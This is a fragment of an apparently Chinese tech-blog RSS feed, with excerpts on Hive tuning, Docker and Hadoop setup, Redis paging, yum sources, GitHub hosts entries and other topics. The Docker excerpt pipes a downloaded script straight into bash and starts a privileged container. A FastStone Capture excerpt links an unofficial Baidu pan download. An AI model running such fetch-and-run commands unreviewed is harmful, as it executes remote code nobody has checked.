      <description>js校验远端图片是否存在，因为图片存在于服务器，是异步加载，所以需要使用Promise。&#xA;const checkImgExists = (imgurl) =&amp;gt; { return new Promise((resolve, reject) =&amp;gt; { const ImgObj = new Image(); // 判断图片是否存在 ImgObj.src = imgurl; ImgObj.onload = (res) =&amp;gt; { resolve(res); }; ImgObj.onerror = (err) =&amp;gt; { reject(err); }; }).then((imageData) =&amp;gt; { const target = imageData.target; if (target.fileSize &amp;gt; 0 || (target.width &amp;gt; 0 &amp;amp;&amp;amp; target.height &amp;gt; 0)) { return true; } return false; }).catch((err) =&amp;gt; { console.log(err); return false; }); } 使用方式 const src = &#39;/app-sys-manage/oss/get_img/10443&#39;; const res1 = await this.</description>
    </item>
    <item>
      <title>一款轻量级拾色器</title>
      <link>https://bchobby.github.io/posts/0b6907df06d52c7a6ef6334c7f3c7e4b/</link>
      <pubDate>Tue, 02 Mar 2021 09:20:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b6907df06d52c7a6ef6334c7f3c7e4b/</guid>
      <description>前言 此次分享目的是为了让更多刚接触前端的人了解这款出色的轻量级拾色器，但功能绝不仅拾色。&#xA;介绍 FastStone Capture 是一款强大的、方便的、直观的屏幕捕捉工具。它允许你捕捉屏幕上的任何内容，包括: 活动窗口、对象、整个屏幕、矩形区域、手绘区域以及滚动的窗口/网页。另外该程序还包含了一些创新的功能，例如: 浮动捕捉面板、快捷键捕捉、调整大小、裁剪、文本注释、打印、通过 E-Mail 发送、屏幕放大镜，屏幕直尺，屏幕取色器，屏幕录制器等。&#xA;说明 前端经常需要拾色，但目前市场拾色器众多，对我而言，我需要的仅是一款轻量级、使用便捷的就可以了，而 FastStone Capture 就是这么一款软件，它不仅可以拾色，还包含了我最想要的直尺功能，毕竟前端工作也需要用到直尺测量，除此之外，它还可以像QQ一样，当放到屏幕最上边时可以缩小，完全不会影响你的工作空间，当你需要的时候就可以随时调出。&#xA;展示 下载链接 百度网盘：https://pan.baidu.com/s/1q2BEB7d_1A1Q8lchuOnsJA&#xA;提取码：h7rp</description>
    </item>
    <item>
      <title>Hive数据倾斜原因及优化解决方案</title>
      <link>https://bchobby.github.io/posts/b8a6d31d10d637601722e9282dfba46f/</link>
      <pubDate>Mon, 01 Mar 2021 23:49:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8a6d31d10d637601722e9282dfba46f/</guid>
      <description>一：什么是数据倾斜 数据倾斜是进行大数据计算时常见的问题。主要分为map端倾斜和reduce端倾斜，map端倾斜主要是因为输入文件大小不均匀导致，造成部分数据大量的集中在某一个节点上，形成了数据热点，导致这一节点运行时间远远大于其他节点的时间reduce端主要是partition不均匀导致。&#xA;二：Hive中有那些容易造成数据倾斜的情况以及处理办法 1：map端数据倾斜 当maptask出现较多的小文件时，需要合并小文件，可以通过设置 set hive.merge.mapfiles=true来解决， set hive.map.aggr=true;//map端聚合：相当于Combiner，可以减小map端的压力， set hive.groupby.skewindata=true;负载均衡 //有数据倾斜的时候进行负载均衡，当选项设定为true，生成的查询计划会有两个MR job。 第一个job中，map端的输出结果集合会随机分布到Reduce中，每个reduce都做部分聚合， 并输出结果，这样的处理结果是相同的group by key有可能被分布到不同的reduce中， 从而达到负载均衡的目的，第二个MR job再根据预处理的数据结果按照group by key 分布到reduce中（这个过程可以保证相同的group by key被分布到同一个reduce中）， 最后完成最终的聚合操作。 ------------------------------------------------------------------- /当单个文件大小稍大于block的大小可以适当的增加map的个数： set mapred.map.tasks个数 /当文件大小适中，map端计算量较大的时候（sum，count等），需要增加map个数： set mapred.map.tasks个数，set mapred.reduce.tasks个数 -------------------------------------------------------------------- 2：大小表关联 小表在join左侧，大表在右侧，或使用mapjoin 将小表加载到内存中。然后再对比较大的表进行map操作&#xA;join就发生在map操作的时候，这里的join并不会涉及reduce操作。map端join的优势就是在于没有shuffle&#xA;如：select /*+ MAPJOIN(a) */ hive0.11 版本之前 a.c1, b.c1 ,b.c2 from a join b where a.c1 = b.c1; map join 概念：将其中做连接的小表（全量数据）分发到所有 MapTask 端进行 Join，从 而避免了 reduceTask，前提要求是内存足以装下该全量数据，在内存允许的条件下使用 map join 比直接使用 MapReduce 效率还高些， 当然这只限于做 join 查询的时候。</description>
    </item>
    <item>
      <title>[HSI论文阅读] | HybridSN: Exploring 3-D–2-D CNN Feature Hierarchy for Hyperspectral Image Classification</title>
      <link>https://bchobby.github.io/posts/ac73f58f2cee3c708e1188edce233840/</link>
      <pubDate>Mon, 01 Mar 2021 17:45:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac73f58f2cee3c708e1188edce233840/</guid>
      <description>仅整理个人和组里对下文引用的论文(HybridSN)的学习所获，如有错误，感谢指正~&#xA;更新记录&#xA;⭐️ 2021.3.6 —— 关于本文2.2.2节卷积层参数的计算&#xA;⭐️ 2021.3.8 —— HybridSN如何接受尺寸大小不同的输入&#xA;目录 写在前面1 研究思路2 网络结构2.1 简要的计算过程2.2 具体的网络结构2.2.1 对于India Pines数据集2.2.2 关于每层参数的计算 3 实验设置3.1 采用的数据集3.2 评价指标3.3 对比实验 4 组里讨论意见写在后面持续补充 写在前面 最近导师说学院要一份研究报告小结，发现之前看过的很多论文笔记没随身携带，果然及时整理成电子版的比较方便。&#xA;本文整理的论文HybridSN于2020.2发表于IEEE Geoscience and Remote Sensing Letters，这篇论文最让我好奇的是，其测试准确率在高光谱公共数据集Salines Scence上达到了100%！与之前的模型SSRN相比，HybridSN以提升一个数量级的可训练参数为代价，进一步提升了准确率。前段时间把这篇论文又认真阅读了一次，并在Colab上运行了作者提供的代码。&#xA;本文侧重于网络结构的设计和实验分析，以及组里对这篇论文的一点意见。&#xA;论文：&#xA;S. K. Roy, G. Krishna, S. R. Dubey and B. B. Chaudhuri, “HybridSN: Exploring 3-D–2-D CNN Feature Hierarchy for Hyperspectral Image Classification,” in IEEE Geoscience and Remote Sensing Letters, vol. 17, no. 2, pp.</description>
    </item>
    <item>
      <title>自定义ik分词加载无效的问题分析</title>
      <link>https://bchobby.github.io/posts/e3521217a2cc64106852e39a1c8196e8/</link>
      <pubDate>Mon, 01 Mar 2021 17:04:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3521217a2cc64106852e39a1c8196e8/</guid>
      <description>文章目录 问题背景1.需求2. 使用tomcat提供一个接口3. 使用nginx代理文件3.1 nginx 配置3.2 ES配置3.3 增加词汇不生效3.4 修改nginx配置进行验证 4.spring boot tomcat的设置 问题背景 1.需求 最近有一些需求导致我们需要扩充IK的词库，按照IK的官方走了一遍，这里是官方的一些介绍&#xA;IK热更新配置方式&#xA;我们的ES版本为7.1.1&#xA;2. 使用tomcat提供一个接口 按照文档在tomcat服务中提供一个接口，来将自定义的热词数据写出去,结果在es中不能成功加载这些数据。&#xA;项目是一个springboot项目，接口的代码如下&#xA;@RequestMapping(value = &#34;/remoteExtDict/select&#34;, method = RequestMethod.GET) public void select(HttpServletResponse response) { List&amp;lt;String&amp;gt; resultList = remoteExtDictMapper.selectRemoteExtDict(); StringBuilder result = new StringBuilder(); for (String value : resultList){ result.append(value+&#34;\n&#34;); } result.delete(result.length()-1,result.length()); try { Long time = remoteExtDictMapper.getMaxTime(); response.setHeader(&#34;Last-Modified&#34;, time.toString()); response.setHeader(&#34;ETag&#34;,time.toString()); response.setContentType(&#34;text/plain; charset=utf-8&#34;); String test = &#34;上海堡垒\n陈默涵\n天际漫谈\n大西瓜\n人生如梦\n快手&#34;; PrintWriter writer = response.getWriter(); writer.write(test); writer.</description>
    </item>
    <item>
      <title>github的hosts地址</title>
      <link>https://bchobby.github.io/posts/ae7385e98b7e6184ca6c015812d1103b/</link>
      <pubDate>Mon, 01 Mar 2021 14:58:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae7385e98b7e6184ca6c015812d1103b/</guid>
      <description>github的hosts地址 # Github Hosts&#xA;# update: 2021-01-26&#xA;140.82.113.4 github.com&#xA;140.82.114.10 nodeload.github.com&#xA;140.82.113.5 api.github.com&#xA;140.82.114.10 codeload.github.com&#xA;185.199.108.153 training.github.com&#xA;185.199.108.153 assets-cdn.github.com&#xA;185.199.108.153 documentcloud.github.com&#xA;185.199.108.154 help.github.com&#xA;185.199.108.153 githubstatus.com&#xA;199.232.69.194 github.global.ssl.fastly.net&#xA;199.232.96.133 raw.github.com&#xA;199.232.96.133 raw.githubusercontent.com&#xA;199.232.96.133 cloud.githubusercontent.com&#xA;199.232.96.133 gist.githubusercontent.com&#xA;199.232.96.133 marketplace-screenshots.githubusercontent.com&#xA;199.232.96.133 repository-images.githubusercontent.com&#xA;199.232.96.133 user-images.githubusercontent.com&#xA;199.232.96.133 desktop.githubusercontent.com&#xA;199.232.96.133 avatars.githubusercontent.com&#xA;199.232.96.133 avatars0.githubusercontent.com&#xA;199.232.96.133 avatars1.githubusercontent.com&#xA;199.232.96.133 avatars2.githubusercontent.com&#xA;199.232.96.133 avatars3.githubusercontent.com&#xA;199.232.96.133 avatars4.githubusercontent.com&#xA;199.232.96.133 avatars5.githubusercontent.com&#xA;199.232.96.133 avatars6.githubusercontent.com&#xA;199.232.96.133 avatars7.githubusercontent.com&#xA;199.232.96.133 avatars8.githubusercontent.com&#xA;# End of the section</description>
    </item>
    <item>
      <title>STM32  Bootloader跳转到APP程序中无法启动实时系统</title>
      <link>https://bchobby.github.io/posts/5dee679e80b1586bdcd0aaed2a3b27f9/</link>
      <pubDate>Mon, 01 Mar 2021 14:38:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5dee679e80b1586bdcd0aaed2a3b27f9/</guid>
      <description>STM32 Bootloader跳转到APP程序中无法启动实时系统 一、问题描述： STM32G431 bootloader跳转到APP中执行，能够进入APP的main函数，但main函数里创建实时系统（CMSIS-RTOS2）失败。&#xA;二、问题解决过程： 首先明确：APP程序稍作修改（去掉中断向量偏移，flash起始地址改为0x08000000），不用bootloader，直接烧录到单片机里是肯定可以执行的，实时系统也是可以运行的。&#xA;以下是bootloader跳转处的程序（bootloader也用的是CMSIS-RTOS2系统）。&#xA;if((Flash_Read_Word(AppCode_Address) &amp;amp; 0xFF000000 ) == 0x20000000)//检查栈顶地址高字节是否为0x20 { osKernelLock(); jump2app=(iapFun)*(volatile uint32_t*)(AppCode_Address+4);//APP代码区第二个字存放复位中断的地址 MSR_MSP(*(volatile uint32_t*)AppCode_Address);//APP代码区的第一个字用于存放栈顶地址 jump2app();//跳转到APP osKernelUnlock(); } 此程序能跳到APP中，但无法创建实时系统。&#xA;1、首先想到的是中断，所以在bootloader 添加__set_PRIMASK(1)或__set_FAULTMASK(1)关闭所有中断，在APP中添加__set_PRIMASK(0)或__set_FAULTMASK(0)打开中断。 if((Flash_Read_Word(AppCode_Address) &amp;amp; 0xFF000000 ) == 0x20000000)//检查栈顶地址高字节是否为0x20 { osKernelLock(); __set_FAULTMASK(1);//__set_PRIMASK(1); jump2app=(iapFun)*(volatile uint32_t*)(AppCode_Address+4);//APP代码区第二个字存放复位中断的地址 MSR_MSP(*(volatile uint32_t*)AppCode_Address);//APP代码区的第一个字用于存放栈顶地址 jump2app();//跳转到APP osKernelUnlock(); } 没有成功，接下来我于是调整__set_PRIMASK(0)或__set_FAULTMASK(0)的位置，比如说放到main函数的开头、稍后或者bootloader中，作尝试，都没有成功。&#xA;if((Flash_Read_Word(AppCode_Address) &amp;amp; 0xFF000000 ) == 0x20000000)//检查栈顶地址高字节是否为0x20 { osKernelLock(); __set_PRIMASK(1); jump2app=(iapFun)*(volatile uint32_t*)(AppCode_Address+4);//APP代码区第二个字存放复位中断的地址 MSR_MSP(*(volatile uint32_t*)AppCode_Address);//APP代码区的第一个字用于存放栈顶地址 __set_PRIMASK(0); jump2app();//跳转到APP osKernelUnlock(); } 2、接下来我对程序究竟死在哪儿，做了研究。 如果不加__set_PRIMASK(1)，CMSIS-RTOS2的osKernelInitialize()函数返回值是-6，然后会再往下执行。&#xA;/// Status code values returned by CMSIS-RTOS functions.</description>
    </item>
    <item>
      <title>我的北京 offer !</title>
      <link>https://bchobby.github.io/posts/25de115d0114a50677d38c5353ecceef/</link>
      <pubDate>Mon, 01 Mar 2021 11:45:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25de115d0114a50677d38c5353ecceef/</guid>
      <description>拿到offer之路往往不是那么顺利，而且我是在重庆拿到北京的offer，接下来我分享下自己拿到北京offer的历程。&#xA;首先说说为何要从重庆到北京，重庆是座漂亮的城市，但是互联网还不够成熟，没有比较大型的互联网公司，也没有比较先进的互联网技术，互联网氛围不够浓厚。我如果继续呆在重庆，成长是缓慢的，而如果选择去一线城市，那么自己的成长就会快很多，而且自己还是想进大厂看看大厂的工作流程，拓宽自己的视野。所以我就萌生了要去北京的想法。&#xA;既然决定要去北京，就要为之后的面试做充足的准备。首先从面试强度而言，北京肯定是要比重庆面试难度大点，而且我参考了很多别人的面试经验分享，知道编程基础扎实的话会给自己加分很多。于是那段时间我也开始疯狂补习自己的编程基础知识，例如数据结构与算法，操作系统，计算机基础等。另外担心会有公司出算法题，为此在leetcode上刷了两百多道题，几乎上保持每天两三道题的频率。事实证明这些在后来的面试中都是有用的。&#xA;之后我想在自己的简历上增加亮点，因为这样更容易通过公司的初筛。但想想自己除了爬虫还会什么呢，突然想到自己以前从事过nlp算法的经历，虽然没能成为算法工程师，但是之前也花了很大部分时间在研究算法上，于是索性不如出个教初学者入门nlp的项目吧，于是就开始着手写这个项目，写完之后发布到github上的效果出乎我意料，当时还登上了Python热榜，到现在已经获得了6百多个star，并且每天都还在持续增加中。&#xA;如果有对nlp感兴趣的同学想初步入门，也可以看看我这个项目，项目地址是：https://github.com/Alic-yuan/nlp-beginner-finish。&#xA;接下来就是投简历和面试了，由于我在重庆，所以只能接受视频面试，不过当时由于疫情原因，视频面试这种形式也开始流行起来。在找工作的面试中难免会遇到不合适，没通过的情况，但我相信我终能找到一份适合自己的工作。最终在自己不懈的努力下，拿到了我现在的公司，一家头部教育公司的offer。在这场面试中，之前学到的数据机构和算法知识以及我之前刷题的经历起到了至关重要的作用。&#xA;现在回顾在重庆找北京工作的那段时期，确实很累，白天要把自己的工作完成好，晚上回到家还要再继续学习，中途遇到失败的面试还要鼓励自己不要灰心，继续坚持下去。但一切都是值得的，以后的你，一定会感谢曾经努力的自己！&#xA;以上就是我拿到北京offer的经历啦，希望能够对你有些许帮助。之后我还会在公众号持续输出自己的经验，如果大家有想要和我交流或者需要帮助的，都可以关注公号和我联系，能帮到大家的我都义不容辞。另外我还建立了一个Python萌新交流群，群里气氛活跃，我也经常在群里解答大家的问题，想要加群的也可以通过公号加群。&#xA;来日正长，一起前行！</description>
    </item>
    <item>
      <title>Vue3.0&#43;ElementPlus&#43;Koa2搭一个全栈后台管理模板项目！！！！！</title>
      <link>https://bchobby.github.io/posts/072b850ee30fec8faf0b67c3975d9275/</link>
      <pubDate>Mon, 01 Mar 2021 09:19:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/072b850ee30fec8faf0b67c3975d9275/</guid>
      <description> https://github.com/MrDotYan/vue3.0-elemenplus-admin-template.git </description>
    </item>
    <item>
      <title>Http通信协议</title>
      <link>https://bchobby.github.io/posts/9680521e70ea99f505a429ca016566f3/</link>
      <pubDate>Mon, 01 Mar 2021 00:55:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9680521e70ea99f505a429ca016566f3/</guid>
      <description>应用层是 OSI 七层网络模型的第七层，不同类型的网络应用有不同的通信规则，因此应用层协议是多种多样的，比如 DNS、FTP、Telnet、SMTP、HTTP、 等协议都是用于解决其各自的一类问题。&#xA;一，Http通信协议的基本原理 http 协议在远程通信场景中的应用还是挺广泛的，包括现在主流的微服务架构的通信都是基于 http 协议。&#xA;1，一次http请求的通信流程 我们在浏览器上输入一个网址后，浏览器是如何展示目标网址的内容的？内容是从哪里来的呢？&#xA;DNS: （Domain Name System）服务是和 HTTP 协议一样位于应用层的协议。它提供域名到 IP 地址之间的解析服务, 用户通常使用主机名或域名来访问对方的计算机，而不是直接通过 IP 地址访问。因为与 IP 地址的一组纯数字相比，用字母配合数字的表示形式来指定计算机名更符合人类的记忆习惯&#xA;但要让计算机去理解名称，相对而言就变得困难了。因为计算机更擅长处理一长串数字。为了解决上述的问题，DNS 服务应运而生。DNS 协议提供通过域名查找 IP 地址，或逆向从IP 地址反查域名的服务&#xA;二，http通信协议的组成 HTTP 协议是基于应用层的协议，并且在传输层使用的 TCP 的可靠性通信协议。既然是协议，那么就应该符合协议的定义：协议是两个需要通过网络通信的程序达成的一种约定，它规定了报文的交换方式和包含的意义，所以，接下来我们来深入去剖析 HTTP 协议的原理和组成。&#xA;1，请求URI定位资源 我们在浏览器中输入一个地址，浏览器是如何根据地址去找到服务器对应的资源并做返回的？以及这个地址包含了哪些有价值的信息呢？&#xA;URL (Uniform Resource Locator)，统一资源定位符 ，用于描述一个网络上的资源，具体格式是：&#xA;URI 用字符串标识某一互联网资源，而 URL 表示资源的地点（互联网上所处的位置）。可见 URL 是 URI 的子集。&#xA;http://www.baidu.com:80/java/index.html?name=aaa&#xA;schema://host[:port#]/path/…/?[url-params]#[ query-string]&#xA;scheme 指定应用层使用的协议(例如：http, https, ftp)&#xA;host HTTP 服务器的 IP 地址或者域名&#xA;port# HTTP 服务器的默认端口是 80，这种情况下端口号可以省略。如果使用了别的端口，必须指明，例如 http://www.</description>
    </item>
    <item>
      <title>大数据——Ubuntu docker安装、容器准备、环境准备以及软件安装</title>
      <link>https://bchobby.github.io/posts/200331dae9b2f4d107e711d96cb97a31/</link>
      <pubDate>Sun, 28 Feb 2021 20:41:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/200331dae9b2f4d107e711d96cb97a31/</guid>
      <description>Ubuntu docker安装、容器准备、环境准备以及软件安装 docker安装SSH安装 容器准备环境准备安装必要软件配置SSH免密登录设置时区关闭防火墙 安装MySQL安装JDKHadoop安装Hive安装Sqoop安装 docker安装 SSH安装 更新源 dsj@dsj:~$ sudo apt-get update 如果这一步发现更新很慢，可以这样设置&#xA;点击系统设置，选择软件和更新，下载自选择其他站点&#xA;点击选择最佳服务器&#xA;等待找到最佳的服务器，选择服务器 点击关闭，选择重新载入&#xA;完成后再次更新源&#xA;下载ssh服务&#xA;dsj@dsj:~$ sudo apt-get install -y openssh-server 启动ssh服务 dsj@dsj:~$ systemctl start sshd 查看本机的ip地址 dsj@dsj:~$ ip addr 可以使用MobaXterm连接&#xA;安装curl&#xA;dsj@dsj:~$ sudo apt install curl 安装docker dsj@dsj:~$ curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun 查看docker版本 dsj@dsj:~$ docker -v 容器准备 拉取镜像 dsj@dsj:~$ sudo docker pull centos:7 启动并创建容 dsj@dsj:~$ sudo docker run -itd --privileged --name singleNode -h singleNode \ &amp;gt; -p 2222:22 \ &amp;gt; -p 3306:3306 \ &amp;gt; -p 50070:50070 \ &amp;gt; -p 8088:8088 \ &amp;gt; -p 8080:8080 \ &amp;gt; -p 10000:10000 \ &amp;gt; -p 60010:60010 \ &amp;gt; -p 9092:9092 \ &amp;gt; centos:7 /usr/sbin/init 查看镜像 dsj@dsj:~$ sudo docker ps 进入容器 dsj@dsj:~$ sudo docker exec -it singleNode /bin/bash 环境准备 安装必要软件 [root@singleNode /]# yum clean all [root@singleNode /]# yum -y install unzip bzip2-devel vim bashname 配置SSH免密登录 安装必要的SSH服务 [root@singleNode /]# yum install -y openssh openssh-server openssh-clients openssl openssl-devel 生成密钥 [root@singleNode /]# ssh-keygen -t rsa -f ~/.</description>
    </item>
    <item>
      <title>redis分页查询java实现_Redis分页查询缓存方案</title>
      <link>https://bchobby.github.io/posts/a03db2f2cb01c8dd336ad78c1fed23bb/</link>
      <pubDate>Sun, 28 Feb 2021 17:25:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a03db2f2cb01c8dd336ad78c1fed23bb/</guid>
      <description>常规分页查询缓存方案&#xA;我们都知道，通过缓存查询的结果，可以极大的提升系统的服务能力，以及降低底层服务或者是数据库的压力。&#xA;对于有分页条件的缓存，我们也可以按照不同的分页条件来缓存多个key，比如分页查询产品列表,page=1&amp;amp;limit=10和page=1&amp;amp;limit=5这两次请求可以这样缓存查询结果&#xA;productList:page:1:limit:10&#xA;productList:page:1:limit:5&#xA;这个是一种常见方案，但是存在着一些问题：&#xA;缓存的value存在冗余，productList:page:1:limit:10缓存的内容其实是包括了productList:page:1:limit:5中的内容(缓存两个key的时候，数据未发生变化的情况下)&#xA;仅仅是改变了查询条件的分页条件，就会导致缓存未命中，降低了缓存的命中率&#xA;为了保证数据一致性，需要清理缓存的时候，很难处理，redis的keys命令对性能影响很大，会导致redis很大的延迟，生产环境一般来说禁止该命令。自己手动拼缓存key，你可能根本不知道拼到哪一个page为止。&#xA;放弃数据一致性，通过设置失效时间来自动失效，可能会出现查询第一页命中了缓存，查询第二页的时候未命中缓存，但此时数据已经发生了改变，导致第二页查询返回的和第一页相同的结果。&#xA;以上，在分页条件下这样使用常规方案总感觉有诸多困扰，诸多麻烦，那是不是就应该放弃使用缓存？&#xA;基于SortedSet的分页查询缓存方案&#xA;首先想到的解决方法是使用@see ListOperations不再根据分页条件使用多个key，而是使用一个key，也不分页将全部的数据缓存到redis中，然后按照分页条件使用range(key,start,limit)获取分页的结果，这个会导致一个问题，当缓存失效时，并发的写缓存会导致出现重复数据&#xA;所以想到通过使用set来处理并发时的重复数据，@see ZSetOperations&#xA;代码逻辑如下：&#xA;range(key,start,limit)按照分页条件获取缓存，命中则直接返回&#xA;缓存未命中，查询(没有分页条件)数据库或是调用(没有分页)底层接口&#xA;add(key,valueScoreMap)写入缓存，expire设置缓存时间&#xA;当需要清理缓存时，直接删除key，如果是因为数据新增和删除，可以add(key,value,score)或remove(key,value)&#xA;redis中会按照score分值升序排列map中的数据，一般的，score分值是sql语句的order by filedA的filedA的值，这样能保证数据一致性&#xA;但是这种方式也存在一定问题：&#xA;这个key缓存的value确实是热数据，但可能只有少数数据被频繁使用其余的可能根本就未被使用，比如数据有100页，实际可能只会用到前10页，这也会导致缓存空间的浪费，如果使用了redis虚拟内存，也会有一定影响&#xA;sql查询由原来的分页查询变成了不分页查询，缓存失效后，系统的处理能力较之前会有下降，尤其是对于大表&#xA;总结&#xA;这两种方式互有利弊，具体使用还是要按照具体场景，合理选择！有更好的方案也欢迎讨论:-)</description>
    </item>
    <item>
      <title>r5 5500u和r7 5700u哪个好 r55500u和r75700u区别有多大</title>
      <link>https://bchobby.github.io/posts/9ff1897b28332c2b353b92107f4e5bc2/</link>
      <pubDate>Sun, 28 Feb 2021 17:22:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ff1897b28332c2b353b92107f4e5bc2/</guid>
      <description>R7 5700U 为 8 核 16 线程，1.8-4.3GHz，GPU 为 8 个计算单元，频率为 1.9GHz。&#xA;选r5 5500u还是r75700u这些点很重要!看完你就知道了 http://www.adiannao.cn/dy&#xA;R5 5500U集成了基于Zen 2微体系结构的六个内核。 它们的频率为2.1（保证的基本频率）至4 GHz（Turbo），并支持SMT /超线程（12个线程）。 该芯片是在台积电采用现代7纳米工艺制造的。 与较旧的Ryzen 5 4500U（Renoir）相比，Ryzen 5 5500U提供了超线程。 更快的Ryzen 5 5600U已经基于更新的Zen 3架构。&#xA;AMD锐龙R5 5500U怎么样？相当于什么水平级别档次？性能应该比旧的Ryzen 5 4500U略高（由于SMT支持）。&#xA;除了六个CPU内核之外，APU还集成了Radeon RX Vega 7集成显卡，具有7个CU和高达1800 MHz的频率。 双通道内存控制器支持DDR4-3200和高能效LPDDR4-4266 RAM。 此外，芯片还配备了8 MB的3级缓存。&#xA;APU的TDP指定为15瓦（默认）</description>
    </item>
    <item>
      <title>使用运放构建电压跟随器</title>
      <link>https://bchobby.github.io/posts/2e80ad3d6ba96143f99560d34673cda6/</link>
      <pubDate>Sun, 28 Feb 2021 17:20:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e80ad3d6ba96143f99560d34673cda6/</guid>
      <description>运放，是运算放大器的简称&#xA;运算放大器是用模拟电子器件（如晶体管，场效应管，二极管等）构成的模拟集成电路，其特点是有很高的放大倍数和抗干扰能力，因此可以被设计成各种用途的派生电路，如电压比较器、窗口电路、波形发生电路等等，其中也有电压跟随器。&#xA;电压跟随器是一种具有100%电压负反馈的放大器电路，其特点是输出电压的幅度和极性都与输入电压相同，所以叫跟随器。典型线路如图所示：&#xA;运放跟随器有输入阻抗高，而输出阻抗低的特性，一般来说，输入阻抗可以达到几兆欧姆，而输出阻抗低，通常只有几欧姆，甚至更低。&#xA;在电路中，电压跟随器一般做缓冲级（buffer）及隔离级。&#xA;这是因为，电压放大器的输出阻抗一般比较高，通常在几千欧到几十千欧，如果后级的输入阻抗比较小，那么信号就会有相当的部分损耗在前级的输出电阻中。&#xA;此时，需要电压跟随器进行缓冲。起到承上启下的作用。&#xA;电压跟随器还可以提高输入阻抗，可以大幅度减小输入电容的大小，为应用高品质的电容提供保证。&#xA;集成运算放大器实质上是一个高增益的多级直接耦合放大器，具有很大的开环电压放大倍数（一般可达105）和极高的输入阻抗（可达l06Ω，采用场效应管输入级的可达109Ω以上）。&#xA;HA17555集成运放使用中一般加入深度负反馈，由于其开环增益很大，闭环增益仅由反馈电阻决定。&#xA;集成运放通常有3种基本接法。&#xA;反相输入放大器。输出信号Uo与输入信号Ui相位相反，放大倍数A=Uo/Ui≈-Rf/R1，如图（a）所示。同相输入放大器。输出信号玑与输入信号Ui相位相同，放大倍数A=Uo/Ui≈1+Rf/R1，如图（b）所示。电压跟随器。输出信号与输入信号配相位相同，放大倍数A≈1，如图10-47（c）所示。 图中（c）与（b）比较可见，电压跟随器就是Rf=O、R1=∞、反馈系数F=l时的同相输入放大器。&#xA;由于集成运放本身的高增益特性，因此用集成运放构成的电压跟随器具有极高的输入阻抗，几乎不从信号源汲取电流。同时具有极低的输出阻抗，向负载输出电流时几乎不在内部引起压降，可视为电压源。&#xA;集成运放电压跟随器的性能非常接近理想状态，并且无外围元件、无须调整，这是晶体管电压跟随器（射级跟随器）所无法比拟的。&#xA;参考：&#xA;http://www.elecfans.com/d/1108867.html</description>
    </item>
    <item>
      <title>yum源配置的三种方法</title>
      <link>https://bchobby.github.io/posts/6f3fdbf7b06dcd90ab95df756e2b44bb/</link>
      <pubDate>Sun, 28 Feb 2021 17:00:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f3fdbf7b06dcd90ab95df756e2b44bb/</guid>
      <description>（一）yum源概述 yum需要一个yum库，也就是yum源。默认情况下，CentOS就有一个yum源。在/etc/yum.repos.d/目录下有一些默认的配置文件（可以将这些文件移到/opt下，或者直接在yum.repos.d/下重命名）。&#xA;首先要找一个yum库（源），然后确保本地有一个客户端（yum这个命令就是客户端），由yum程序去连接服务器。连接的方式是由配置文件决定的。通过编辑/etc/yum.repos.d/CentOS-Base.repo文件，可以修改设置。&#xA;打开CentOS-Base.repo文件，可以看到url路径是CentOS的官网自身的yum源，http://mirrorlist.centos.org/?release=releasever&amp;amp;arch=releasever&amp;amp;arch=basearch&amp;amp;repo=os。可以将这个mirrorlist注释掉，然后将baseurl设置成国内的阿里云源http://mirrors.aliyun.com/repo/Centos-6.repo，也可以在用于大量的rpm包的前提下设置成自己的本地文件系统（挂载目录），需要移除CentOS-Base.repo文件，并编辑CentOS-Media.repo文件。&#xA;name=Description#一个描述，随意。 baseurl=#设置资源库的地址，可以写阿里云也可以是自己的yum ftp:// http:// file:/// enabled={1|0}#enabled=1开启本地更新模式 gpgcheck={1|0}# gpgcheck=1表示检查；可以不检查gpgcheck=0 gpgkey=#检查的key；如果上面不检查这一行可以不写。 （二）yum源配置方法一（阿里云源） 1) 安装wget yum install -y wget 2) 备份/etc/yum.repos.d/CentOS-Base.repo文件 cd /etc/yum.repos.d/ mv CentOS-Base.repo CentOS-Base.repo.back 3) 下载阿里云的Centos-6.repo文件 wget -O CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-6.repo 4) 重新加载yum yum clean all yum makecache （三）yum源配置方法二（本地挂载目录） 1) 下载iso文件 从CentOS的官网下载CentOS的完整版iso文件，并上传到Linux文件系统中，例如/opt/tools/。&#xA;2) 创建挂载目录 为iso文件的挂载创建目录。&#xA;mkdir /mnt/vcdrom 3) 挂载 将iso文件挂载到挂载目录。&#xA;mount -o loop -t iso9660 /opt/tools/CentOS-6.7-x86_64-bin-DVD1.iso /mnt/vcdrom 4) 移除或备份Centos-Base.repo文件 cd /etc/yum.repos.d/ mv Centos-Base.repo Centos-Base.repo.back 5) 编辑Centos-Media.repo文件 vim /etc/yum.</description>
    </item>
    <item>
      <title>java事务不可重复读_事务ACID原则、脏读、不可重复读、幻读、转账事务</title>
      <link>https://bchobby.github.io/posts/abd1e4c451066dd920eb52b278dec927/</link>
      <pubDate>Sun, 28 Feb 2021 14:12:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abd1e4c451066dd920eb52b278dec927/</guid>
